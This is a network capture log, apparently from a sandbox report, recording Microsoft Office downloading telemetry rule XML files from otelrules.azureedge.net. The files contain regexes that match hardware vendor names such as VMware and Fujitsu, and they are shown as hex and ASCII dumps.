2024-11-01 04:53:03 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 3abb207c-701e-0050-28bf-2b6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045303Z-17c5cb586f6f98jx9q4y7udcaw000000021g00000000aefp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:04 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:04 UTC	498	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 12fa9963-101e-000b-2608-2c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045304Z-15b8d89586f4zwgbgswvrvz4vs0000000c30000000002m5h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-01 04:53:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:04 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 138356e5-101e-0046-15fe-2b91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045304Z-17c5cb586f69dpr98vcd9da8e800000001z0000000009633 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:04 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:04 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 1a39e609-901e-0048-60a3-26b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045304Z-16849878b785dznd7xpawq9gcn0000000c00000000004kkb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:04 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:04 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:04 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: bed14624-901e-0029-5c4f-28274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045304Z-15b8d89586fpccrmgpemqdqe5800000005bg000000009rxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:04 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:04 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045304Z-16849878b78j7llf5vkyvvcehs0000000br000000000250q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:05 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bf2855ec-b01e-0084-57b7-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045305Z-16849878b78g2m84h2v9sta29000000009h0000000003kwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:05 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 5fd3a61a-e01e-0071-0feb-2a08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045305Z-15b8d89586fvpb59307bn2rcac00000005mg00000000cwwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:05 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045305Z-16849878b78fhxrnedubv5byks00000008x0000000007meb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:05 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: de33ccc9-c01e-008e-25fe-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045305Z-16849878b78sx229w7g7at4nkg00000008rg00000000fqdn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:05 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:05 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045305Z-16849878b78p49s6zkwt11bbkn0000000a7g000000007qp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:05 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:06 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:06 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:06 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: bb81791c-801e-00ac-6687-29fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045306Z-159b85dff8fx9jp8hC1DFWp25400000002h000000000af1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:06 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data 